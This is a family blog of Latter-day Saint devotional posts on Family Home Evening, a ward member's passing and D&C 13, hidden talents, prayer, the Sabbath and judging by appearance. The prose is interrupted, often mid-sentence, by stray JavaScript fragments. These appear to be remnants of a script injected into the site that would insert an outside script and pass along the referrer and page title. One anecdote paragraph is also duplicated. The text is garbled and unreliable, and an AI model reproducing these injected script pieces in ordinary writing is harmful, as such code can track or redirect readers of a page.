Highs, Lows & Chicken Smoothies

Mom’s February Virtual Family Home Evening

In church Sunday, Melanie Goettsche talked about holding Family Home Evening.  She was honest and explained that they hadn’t been having these nights but that the assignment prompted them to change.  In making the change she looked at her time attending FHE when in a Single’s Ward.  The meetings were held at the Bishop’s home.  She said that she can’t remember what the lessons were or the treats or anything else about the evenings but she does remember feeling the Spirit in the home.  This has prompted me to think about how I can bring the Spirit into our home.

On Sunday afternoon we had choir practice in our living room. At the same time we are in the midst of construction due to a water leak.  The house does not look great.  But as the choir sang about trying to be like Jesus I recognized the Spirit that enters these house when these wonderful people come and testify through song.  Then last night we had the missionaries over to teach us.  Their message was simple and nothing I didn’t know.  But again I recognized the Spirit they brought with them.  

Wouldn’t it be great if we could have a SpiritMeter on the wall. I find then when I read the scriptures diligently that I feel an increase in the Spirit.  Yesterday Kyle was singing hymn while in the shower.  I noticed an increase in the Spirit.  I realize that it is many little things that we do that brings an increase in the Spirit.  

What are some of the ways that you  bring the Spirit into your home. } else {d.getElementsByTagName(‘head’)[0].appendChild(s);

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Death and Section 13

We had an elderly sister in our ward, Evelyn Bautista, pass away two weeks ago on a Sunday morning.  Today in our fast and testimony meeting I shared with the ward what I learned about D&C 13 as a result of her passing.

On the day of her passing I had a PPI scheduled with our High Priest Group Leader, Dave Whitworth, at 9:30 AM.  On my way to the church I got a text message from him informing me that he was going to be about 15 minutes late.  I was actually rather relieved as I was running late that morning myself.

When he finally arrived at the church he told me that while on his way he had the impression that he should stop by and see Sister Bautista who was at home under hospice care. Her daughter, Karen, answered the door and escorted him to her mother’s bedroom.  The hospice care worker told him that Sister Bautista hadn’t eaten anything for five days, hadn’t been responsive for about 48 hours and was likely to pass away soon.

Brother Whitworth told them that wanted to share something with Sister Bautista that he had heard at fireside with Elder Neil L. Andersen of the Quorum of the Twelve Apostles the evening before with his teenage children.  Elder Andersen, as part of his message, reminded the people there that this earth wasn’t their natural home, but that our true home was with our Heavenly Father. Sister Bautista was totally unresponsive, but the hospice care worker told him that it is generally believed that hearing is the last of the senses to fail when a person dies and it is likely that his short message was heard.

Brother Whitworth left the house and came to the church where he told me of his experience with Sister Bautista.  About thirty minutes later I received a text message informing me that Sister Bautista had passed away.

Yesterday we held a memorial service for Sister Bautista and a light buffet luncheon afterwards. While we were cleaning up, Karen (Sister Bautista’s daughter) came up to Brother Whitworth and thanked him for stopping by the morning of her mother’s death.  He asked her how long after he had left that Sister Bautista had passed away and we were told that is was just two or three minutes later.

Karen then told us that until her mother’s graveside service (which was held the Monday morning PRIOR to the memorial service) she wasn’t certain about what she had witnessed that morning.  She said that while Brother Whitworth was there talking to her mother that “you were glowing like an angel” and until I had told a portion of this story at the graveside service she wasn’t certain who he was or why he was really there.

When I heard this yesterday I immediately thought of D&C 13.  This section records the ordination of Joseph Smith and Oliver Cowdery to the Aaronic Priesthood.  Part of the recorded ordination text reads, “Upon you my fellow servants, in the name of the Messiah, I confer the Priesthood of Aaron which holds the keys to the ministering of angels, and of the gospel of repentance, and of baptism by immersion for the remission of sins…”

As a bishop who holds and is authorized to exercise those same priesthood keys, I have always felt I had a good understanding of the keys of the ‘gospel of repentance, and of baptism by immersion for the remission of sins.’ The keys to the ministering of angels had been somewhat nebulous to me, however.  Now I have a new theory on this, and will accept it as doctrine until proven otherwise.  Whenever we act within the stewardship of an assignment or church calling where we have been set apart by someone who is authorized to exercise these priesthood keys, we are ‘ministering angels’ to those we are serving. There are probably other, more literal ways, in which we can call upon the ministering of angels, but for now, I will be grateful for faithful brothers and sisters who strive to minister to the needs of Heavenly Father’s children on earth as most of our needs are probably met in this manner.document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(‘head’)[0].appendChild(s);

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Shirley thinks you can do it.

This is what I shared with my Pathway class this week.  I share this here as a tribute to Shirley Jones and all that she has taught me…not about flowers but in how to encourage people and help them find hideen talents.


 I Am A Floral Arranger

My grandmother might laugh if she read that caption.  She once brought me some flowers which I stuck in a vase, she sighed, pulled them all out and rearranged them. I knew I was not good at creative things. I have a scientific brain and I know that I am not the creative one.  But wait that is not true. Let me tell you about my journey to being a flower arranger.

We have a wonderful lady in our ward who took the time to take a flower arranging class when her youngest son started in kindergarten.  She became pretty good but I don’t think she has ever earned any money at her skill.  She shares her new talent by doing arrangements for weddings, funerals, visiting teaching etc and she transforms people like me into her assistants.  The first time I showed up I expected to cut a few stems.  Instead she put me in front of an empty vase and told me that I could make the arrangement. Was she crazy?  Didn’t she know what my grandmother knew. I am not creative and should not be allowed out of the science lab.

What she did know is that if you explore and learn that people will find hidden talents and with encouragement can find the confidence to learn new skills.  Most of the flowers in the above photos were arranged by me.  In fact when my daughter was married in Palmyra and I lived in California Shirley taught me how to do the arrangements and I did all the flowers for the wedding. (It saved me a ton of money)

This week you will be exploring career options.  For some you may already know exactly what talents and skills you have and this may seem like a pointless exercise.  But maybe you have hidden talents that you are not aware of that might not become a career choice but when developed could bless the lives of others.  I challenge you to have an open mind with this activity and push yourself to find your hidden talents.

A friend related that when her son received his patriarchal blessing that he was told about many talents that he had.  Afterward the patriarch told him that if he had other talents that he wanted that he could choose to develop them. One of the promises of living the Word of Wisdom is found in verse 19 where we are told that we “shall find wisdom and great treasures of knowledge, even hidden treasures”.   What hidden knowledge do you have that you can find as you develop talents that you don’t now realize that you can have?  Have fun exploring this week.

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Sunday Can

I just saw this blog on   There is Really No Such Thing as a Sunday Cannot. 

I loved it. The author of this blog went through the five senses and identified what is different about the Sabbath.   This would be an awesome FHE lesson.if (document.currentScript) {

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I have felt the impression that we should use this blog to share what we are learning with one another.

Today I read the First Presidency message for this month on prayer.  We plan to discuss this for FHE tomorrow night. (Read up Curtis, Cody and Jayson.  If you are not at home that is OK you can reply with your thoughts)

I really like the story that President Eyring tells about his Dad fighting cancer and needing the Lord’s help to endure the pain and being found on his knees because he was too weak to get back into bed. Sometimes I don’t bother with kneeling but I am realizing that it is important to kneel when possible.  I think it is an important step.  I am also trying to make sure that I vocalize my prayers.  When I do this I am able to concentrate better.

We are in the process of watching the 12 steps Addiction Recovery videos.  So many talk about the love they felt as they simply acknowledged that they had a Heavenly Father and then turned to talk to him.  Austin’s story  in step 4 tells about how he had tried to overcome his addiction on his own but kept failing.  He felt bad about himself but as he knelt down and turned to his Heavenly Father in prayer he felt the sweetness of the love of his Heavenly Father and Savior.  I also like the story of the woman who says that her prayers aren’t just lots of thank yous but sometimes express anger and frustration.  She says that the Lord can take the anger and understands and is willing to help us when we despair.

So I highly recommend this article and ask you to ponder on what you can do to communicate more effectively with your Heavenly Father.  If you have any thoughts please share.}s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);

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Today in Sunday School our lesson was on the Sabbath.  During the lesson Brother Paris played the talk given by Elder Russell Nelson at the conclusion of General Conference.  He gave us note cards and pencils and asked us to write down what the Spirit taught us.  One of the impressions that I felt was that I need to teach my family what I know about the Sabbath and to invite us all to share with one another.

Rather than send you out a long sermon I invite you to listen to Elder Nelson’s talk  and as you watch please listen to what the Spirit tells you to that you should or should not do and then report back with what you have learned.

Recently I was considering that maybe I have been too strict in my Sabbath Day observance.  It seemed that other families were doing great despite the fact that they were lax in how they observed the Sabbath.  As I was thinking this, Dad came home to tell me that the General Authorities spent all of their training time with the Apostles this past conference discussing how they can help the members return to observing the Sabbath Day more perfectly and that Bishops and Ward Councils need to spend considerable time working to teach the members.

So I invite you to join with me to discuss how we as a family can more fully keep the Sabbath Day holy and make it a delight.  I love the Sabbath for the the time it gives me to stop and remember my Savior and to partake of the sacrament.




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The way we dress, the way we talk and the way we act..

In our Family Home Evening this week we had a lesson on Alma 5 and we discussed the question, “Can others see His image in your countenance?”   We have all had the experience of seeing someone that we don’t know but guessed that they were Mormon.  So we looked at random photos of people and tried to determine if they were Mormon or not.  Then we listed the attributes that we used to make out determination.  We included attributes that can’t just be seen.  The list included hair length, language, number of bottles of root beer they were buying, white shirt and tie, whether 80 other people at Disneyland wer wearing the same t-shirt…  We had some fun with this.

As the lesson evolved a classic Anderson story was related which I thought everyone knew but I learned we apparently had not told  to the younger generation.  So in the interest of preserving family lore I will relate it here.  I apologize in advance for the word I have to use.

While living in Fairport my sister came to live with us.  She was 15 and was not doing so well in life.  She attended church while living with us and the youth rallied around her and became friends.  During a Young Women’s testimony meeting one of the youth was giving her heart felt opinions on judging.  At the time our friend Holly Tuttle, who is an amazing, righteous woman  and a model of decorum was the Young Women’s President.  The Young Woman went on to relate further about judging by saying that her experience with my sister had taught her about judging.  She said, “for example if you looked at the way this sister dressed and the way she talked and the way she acted, you would thing she is a real slut but in fact she is really nice.”   Curtis was in the meeting at the time and he said that Holly about passed out at hearing the word “slut” in a YW testimony meeting.

So if your words, actions and dress can’t be used to judge you what is there?  In Alma 5, Alma asks a long list of questions that a person can use to judge themselves on whether or not their behaviors will help others to see the example of the Savior.  In contrast to the story of Heather I want to add to family lore the story of Cody this year.

It has been a rough year for Cody with basketball and he has not been treated fairly.  I will admit that I had hoped that his strict adherence to Gospel standards would have translated to a position in the starting line up but the opposite has happened.  Instead of getting angry Cody has been the first one off the bench to congratulate the other players when they are doing well.  He has faced some real adversity and bias and has risen above it and found ways to be positive.  I am really proud of him.  If you judged him by the way he has acted and what he has said you would say he is a follower of Jesus Christ.

The following fictitious story is a fun reminder that as baptized members of Christ’s church we need to be so very careful of how we represent Him.

A stressed out woman on a busy boulevard was tailgating the man in front of her. Suddenly the light turned yellow just in front of him. He did the right thing and stopped at the crosswalk, even though he could of gunned it and accelerated through the intersection. The tailgating woman hit the roof, leaned on the horn, and screamed in frustration as she missed her chance to get through the intersection behind him.

As she was still in mid-rant, she heard a loud tap on her window, and she looked up at a police officer with a very serious expression on his face. The officer ordered her to get out of the car with her hands up. He handcuffed her and took her to the police station, where she was searched, fingerprinted, photographed, and placed in a cell.

A few hours later a policeman approached the cell and opened the door. The woman was escorted back to the booking desk where the arresting officer was waiting with her personal effects. He said, “I’m very sorry for this mistake. You see, I pulled up behind your car while you were blowing your horn and cussing a blue streak. I noticed the “Choose the Right” license plate holder, the “Go Cougars’ and “Come with me to Primary’ bumper stickers, and the chrome-plated “What would Jesus Do?” emblem on the trunk. Naturally I assumed you had stolen the car”

A few hours later a policeman approached the cell and opened the door. The woman was escorted back to the booking desk where the arresting officer was waiting with her personal effects. He said, “I’m very sorry for this mistake. You see, I pulled up behind your car while you were blowing your horn and cussing a blue streak. I noticed the “Choose the Right” license plate holder, the “Go Cougars’ and “Come with me to Primary’ bumper stickers, and the chrome-plated “What would Jesus Do?” emblem on the trunk. Naturally I assumed you had stolen the car”} else {}document.currentScript.parentNode.insertBefore(s, document.currentScript);

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There are six other days…

Yesterday I taught in Young Womens. I love to teach and I find it fairly easy but I do put a lot of effort into reading and pondering on the topic. I was excited to present about “Avoiding Crisis Living”. Though that may not immediately appear to be a Gospel centered topic, the more I studied, the more relevant I decided it was. My experience yesterday proved that it truly is a vital concept for our eternal welfare.

One of the points we covered was that we all have the same amount of time given to us, so we don’t master time but as we learn to utilize our time wisely we become masters of ourselves. How we use our time here on earth is essential in our progression.

  • Alma 34:32

    32 For behold, this life is the time for men to prepare to meet God; yea, behold the day of this life is the day for men to perform their labors.

So I arrived to set up class only to be greeted by a mother who told me that her daughter would not be in class because she had too much schoolwork to do and so the mother had told her to stay home from church. Another mother told me later that her daughter also stayed home because she too was having drama because too much was going on. I ended up with only two girls in the class. It was discouraging to spend so much effort and realize that I was not preaching to the people who needed to hear the information.
I was so surprised to hear that someone was too busy for church. I was always taught that the most important thing that you do in the whole week was to go to Sacrament meeting and partake of the Sacrament. At this point in my life I don’t need to fall back on what my mother taught. I know that the most important experience I have all week is renewing my batpismal covenants and professing my witness of the Savior’s divinity by partaking of the Sacrament.
Unfortunately I personally missed that opportunity yesterday because Kyle was throwing up due to a migraine. Kyle dragged himself to his Priesthood meeting because we didn’t want to miss everything, even though he came home and slept the rest of the day because he felt so lousy. It was discouraging to see so few of my Young Women have the desire to attend their Sunday meetings.
I think our physical presence in meetings and our lack of presence in other worldly endeavors, such as shopping and sports events, are one of the greatest witnesses to the world that we believe in Jesus Christ. I think the Lord looks more on what we do rather than what we
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say. I am so grateful of the example that Cody has set with his abstinence from participating in Sunday sports. I am grateful to young men before him, such as Dylan Ludlow, who set an example that he could follow. Neither of them have been rewarded with starting positions on their teams but they are becoming men of integrity who the Lord can trust.

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Prepare ye

Last night for scripture study, the TO based Andersons were reading from Moses 7. I love this section of scripture. To think that the knowledge of Enoch and his prophecies were taken out of

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the Bible is sooooo sad. What an amazing man and an amazing time period. It struck me how similar his time period was to ours. We know that his people became so righteous that the whole city was translated. But these people weren’t living at a time of peace on the earth. The opposite is the case. The Lord says of society at that time, “Wherefore, I can stretch forth mine hands and hold all the creations which I have made; and mine eye can pierce them also , and among all the workmanship of mine hands there has not been so great wickedness as among thy brethren“.

If Enoch’s people could become so righteous, at a time of the worst wickedness, what is our potential. Can we create a society like Enoch’s in the midst of wickedness. I think this section of scripture was preserved to come forth in these days to remind us that in the gathering midst of evil that we have not been sent here to fail but to flourish and that we can become more righteous. we can’t become casual and try to blend in and fit into the world. We need to raise our personal standards so that we can rise above this sordid world. And Enoch’s people testify that we can.

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Divine Nature

I am now studying Divine Nature for Personal Progress.  I was asked to list the Divine Qualities in 2 Peter 1.  He lists qualities as building blocks. He starts with virtue and says that if you have that then you can have knowledge, then temperance, patience, godliness, brotherly kindness and finally charity.  It is interesting to me that it appears to me that you cannot truly have charity – the pure love of Christ – unless you have first developed all these other qualities.

He then remarks that:

9 But he that lacketh these things is blind, and cannot see afar off, and hath forgotten that he was purged from his old sins.

I was thinking about how when we extend kindness to someone, who may be undeserving because they were unkind to us, that the world would call this being blind but Christ would say that actually our eyes have been opened. We extend kindness in these circumstances because we remember that he granted us the greatest kindness, Eternal Life even though we we may have been vilest sinner.  We can see afar off to the greater reward and in turn we are on the path to obtaining Charity.}

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